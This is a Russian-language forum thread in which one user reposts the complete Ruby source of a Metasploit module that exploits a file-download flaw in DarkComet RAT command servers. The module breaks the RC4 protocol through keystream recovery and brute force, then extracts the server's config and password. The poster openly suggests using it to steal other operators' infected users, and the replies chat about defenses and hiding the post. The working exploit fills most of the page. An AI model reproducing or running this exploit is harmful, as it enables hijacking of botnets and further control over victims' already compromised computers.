ВАЖНО Эксплойт для угона DarkComet серверов

Тема в разделе "Актуальные угрозы IT-безопасности", создана пользователем Hooko, 30 авг 2016.

↑ ↓
  1. Hooko Уважаемый пользователь
    Hooko
    Ответить в чате

    Форумчанин

    Регистрация:
    24.08.2016
    Сообщения:
    137
    Симпатии:
    144
    Пол:
    Мужской
    Репа:
    +149 / 3 / -4
    Jabber:
    Как то все пропустили новость об эксплойте для DarkComet, он позволяет захватить чужой сервер DarkComet. Сам эксплойт очень интересный (можно у нубиков потырить пользователей).

    Описание:
    This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up. The exploit does not need to know the password chosen for the bot/server communication.

    Уязвимые версии: 5.3.1, 5.3.0, 5.2, 4.2 (F), 4.2, 4.0, 3.3, 3.2

    Полное описание реверса на английском языке http://samvartaka.github.io/exploita...oiting-malware

    Линк на эксплойт Тут
    Эксплойт для Metasploit'а, исходный код модуля:
    Код:
    ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::Tcp
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'DarkComet Server Remote File Download Exploit',
          'Description'    => %q{
            This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.
            The exploit does not need to know the password chosen for the bot/server communication.
          },
          'License'        => MSF_LICENSE,
          'Author'         =>
            [
              'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery
              'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack
            ],
          'References'     =>
            [
              [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],
              [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]
            ],
          'DisclosureDate' => 'Oct 08 2012',
          'Platform'       => 'win'
        ))
    
        register_options(
          [
            Opt::RPORT(1604),
            Opt::RHOST('0.0.0.0'),
    
            OptString.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),
            OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),
            OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),
            OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),
            OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),
            OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])
    
          ], self.class)
      end
    
      # Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext
      def xor_strings(s1, s2)
        s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
      end
    
      def get_keystream(ciphertext, known_plaintext)
        c = [ciphertext].pack('H*')
        if known_plaintext.length > c.length
          return xor_strings(c, known_plaintext[0, c.length])
        elsif c.length > known_plaintext.length
          return xor_strings(c[0, known_plaintext.length], known_plaintext)
        else
          return xor_strings(c, known_plaintext)
        end
      end
    
      def use_keystream(plaintext, keystream)
        if keystream.length > plaintext.length
          return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase
        else
          return xor_strings(plaintext, keystream).unpack('H*')[0].upcase
        end
      end
    
      # Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)
      # since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength
      def rc4_initialize(key)
        @q1 = 0
        @q2 = 0
        @key = []
        key.each_byte { |elem| @key << elem } while @key.size < 256
        @key.slice!(256..@key.size - 1) if @key.size >= 256
        @s = (0..255).to_a
        j = 0
        0.upto(255) do |i|
          j = (j + @s + @key) % 256
          @s, @s[j] = @s[j], @s
        end
      end
    
      def rc4_keystream
        @q1 = (@q1 + 1) % 256
        @q2 = (@q2 + @s[@q1]) % 256
        @s[@q1], @s[@q2] = @s[@q2], @s[@q1]
        @s[(@s[@q1] + @s[@q2]) % 256]
      end
    
      def rc4_process(text)
        text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join
      end
    
      def dc_encryptpacket(plaintext, key)
        rc4_initialize(key)
        rc4_process(plaintext).unpack('H*')[0].upcase
      end
    
      # Try to execute the exploit
      def try_exploit(exploit_string, keystream, bruting)
        connect
        idtype_msg = sock.get_once(12)
    
        if idtype_msg.length != 12
          disconnect
          return nil
        end
    
        if datastore['KEY'] != ''
          exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])
        else
          # If we don't have a key we need enough keystream
          if keystream.nil?
            disconnect
            return nil
          end
    
          if keystream.length < exploit_string.length
            disconnect
            return nil
          end
    
          exploit_msg = use_keystream(exploit_string, keystream)
        end
    
        sock.put(exploit_msg)
    
        if bruting
          begin
            ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])
          rescue Timeout::Error
            disconnect
            return nil
          end
        else
          ack_msg = sock.get_once(3)
        end
    
        if ack_msg != "\x41\x00\x43"
          disconnect
          return nil
        # Different protocol structure for versions >= 5.1
        elsif datastore['NEWVERSION'] == true
          if bruting
            begin
              filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i
            rescue Timeout::Error
              disconnect
              return nil
            end
          else
            filelen = sock.get_once(10).to_i
          end
          if filelen == 0
            disconnect
            return nil
          end
    
          if datastore['KEY'] != ''
            a_msg = dc_encryptpacket('A', datastore['KEY'])
          else
            a_msg = use_keystream('A', keystream)
          end
    
          sock.put(a_msg)
    
          if bruting
            begin
              filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])
            rescue Timeout::Error
              disconnect
              return nil
            end
          else
            filedata = sock.get_once(filelen)
          end
    
          if filedata.length != filelen
            disconnect
            return nil
          end
    
          sock.put(a_msg)
          disconnect
          return filedata
        else
          filedata = ''
    
          if bruting
            begin
              msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
            rescue Timeout::Error
              disconnect
              return nil
            end
          else
            msg = sock.get_once(1024)
          end
    
          while (!msg.nil?) && (msg != '')
            filedata += msg
            if bruting
              begin
                msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
              rescue Timeout::Error
                break
              end
            else
              msg = sock.get_once(1024)
            end
          end
    
          disconnect
    
          if filedata == ''
            return nil
          else
            return filedata
          end
        end
      end
    
      # Fetch a GetSIN response from C2 server
      def fetch_getsin
        connect
        idtype_msg = sock.get_once(12)
    
        if idtype_msg.length != 12
          disconnect
          return nil
        end
    
        keystream = get_keystream(idtype_msg, 'IDTYPE')
        server_msg = use_keystream('SERVER', keystream)
        sock.put(server_msg)
    
        getsin_msg = sock.get_once(1024)
        disconnect
        getsin_msg
      end
    
      # Carry out the crypto attack when we don't have a key
      def crypto_attack(exploit_string)
        getsin_msg = fetch_getsin
        if getsin_msg.nil?
          return nil
        end
    
        getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'
        keystream = get_keystream(getsin_msg, getsin_kp)
    
        if keystream.length < exploit_string.length
          missing_bytecount = exploit_string.length - keystream.length
    
          print_status("Missing #{missing_bytecount} bytes of keystream ...")
    
          inferrence_segment = ''
          brute_max = 4
    
          if missing_bytecount > brute_max
            print_status("Using inferrence attack ...")
    
            # Offsets to monitor for changes
            target_offset_range = []
            for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)
              target_offset_range << i
            end
    
            # Store inference results
            inference_results = {}
    
            # As long as we haven't fully recovered all offsets through inference
            # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]
            getsin_observation = [''] * 4
            buffer_head = 0
    
            for i in 0..2
              getsin_observation = [fetch_getsin].pack('H*')
              Rex.sleep(0.5)
            end
    
            buffer_tail = 3
    
            # Actual inference attack happens here
            while !target_offset_range.empty?
              getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')
              Rex.sleep(0.5)
    
              # We check if we spot a change within a position between two consecutive items within our circular buffer
              # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0
              target_offset_range.each do |x|
                index = buffer_head
    
                while index != buffer_tail do
                  next_index = (index + 1) % 4
    
                  # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same
                  # observations as well while being constant in at least one previous or subsequent observation
                  if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))
                    target_offset_range.delete(x)
                    inference_results[x] = xor_strings(getsin_observation[index][x], '9')
                    break
                  end
                  index = next_index
                end
              end
    
              # Update circular buffer head & tail
              buffer_tail = (buffer_tail + 1) % 4
              # Move head to right once tail wraps around, discarding oldest item in circular buffer
              if buffer_tail == buffer_head
                buffer_head = (buffer_head + 1) % 4
              end
            end
    
            # Inferrence attack done, reconstruct final keystream segment
            inf_seg = ["\x00"] * (keystream.length + missing_bytecount)
            inferrence_results.each do |x, val|
              inf_seg[x] = val
            end
    
            inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join
            missing_bytecount = brute_max
          end
    
          if missing_bytecount > brute_max
            print_status("Improper keystream recovery ...")
            return nil
          end
    
          print_status("Initiating brute force ...")
    
          # Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)
          charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
          char_range = missing_bytecount.times.map { charset }
          char_range.first.product(*char_range[1..-1]) do |x|
            p = x.join
            candidate_plaintext = getsin_kp + p
            candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment
            filedata = try_exploit(exploit_string, candidate_keystream, true)
    
            if !filedata.nil?
              return filedata
            end
          end
          return nil
        end
    
        try_exploit(exploit_string, keystream, false)
      end
    
      def parse_password(filedata)
        filedata.each_line { |line|
          elem = line.strip.split('=')
          if elem.length >= 1
            if elem[0] == 'PASSWD'
              if elem.length == 2
                return elem[1]
              else
                return ''
              end
            end
          end
        }
        return nil
      end
    
      def run
        # Determine exploit string
        if datastore['NEWVERSION'] == true
          if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
            exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'
          else
            exploit_string = 'QUICKUP1|config.ini|'
          end
        elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
          exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'
        else
          exploit_string = 'UPLOADconfig.ini|1|1|'
        end
    
        # Run exploit
        if datastore['KEY'] != ''
          filedata = try_exploit(exploit_string, nil, false)
        else
          filedata = crypto_attack(exploit_string)
        end
    
        # Harvest interesting credentials, store loot
        if !filedata.nil?
          # Automatically try to extract password from config.ini if we haven't set a key yet
          if datastore['KEY'] == ''
            password = parse_password(filedata)
            if password.nil?
              print_status("Could not find password in config.ini ...")
            elsif password == ''
              print_status("C2 server uses empty password!")
            else
              print_status("C2 server uses password [#{password}]")
            end
          end
    
          # Store to loot
          if datastore['STORE_LOOT'] == true
            print_status("Storing data to loot...")
            if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')
              store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")
            else
              store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")
            end
          else
            print_status(filedata.to_s)
          end
        else
          print_status("Attack failed or empty config file encountered ...")
        end
      end
    end

     
    • Мне нравится Мне нравится x 2
  2. MIXA066 Уважаемый пользователь
    MIXA066
    Ответить в чате

    Форумчанин

    Регистрация:
    18.05.2014
    Сообщения:
    380
    Симпатии:
    165
    Пол:
    Мужской
    Репа:
    +176 / 1 / -0
    защиты не существует от него?
     
  3. Hooko Уважаемый пользователь
    Hooko
    Ответить в чате

    Форумчанин

    Регистрация:
    24.08.2016
    Сообщения:
    137
    Симпатии:
    144
    Пол:
    Мужской
    Репа:
    +149 / 3 / -4
    Jabber:
    Однако только другую версию юзать. Или другой RAT.
     
  4. MIXA066 Уважаемый пользователь
    MIXA066
    Ответить в чате

    Форумчанин

    Регистрация:
    18.05.2014
    Сообщения:
    380
    Симпатии:
    165
    Пол:
    Мужской
    Репа:
    +176 / 1 / -0
    Тут почти все версии) кроме старых сильно
     
  5. Hooko Уважаемый пользователь
    Hooko
    Ответить в чате

    Форумчанин

    Регистрация:
    24.08.2016
    Сообщения:
    137
    Симпатии:
    144
    Пол:
    Мужской
    Репа:
    +149 / 3 / -4
    Jabber:
    Да. Может под хайд поставить это?
     
  6. MIXA066 Уважаемый пользователь
    MIXA066
    Ответить в чате

    Форумчанин

    Регистрация:
    18.05.2014
    Сообщения:
    380
    Симпатии:
    165
    Пол:
    Мужской
    Репа:
    +176 / 1 / -0
    да не думаю что есть смысл) паблик же
     

Поделиться этой страницей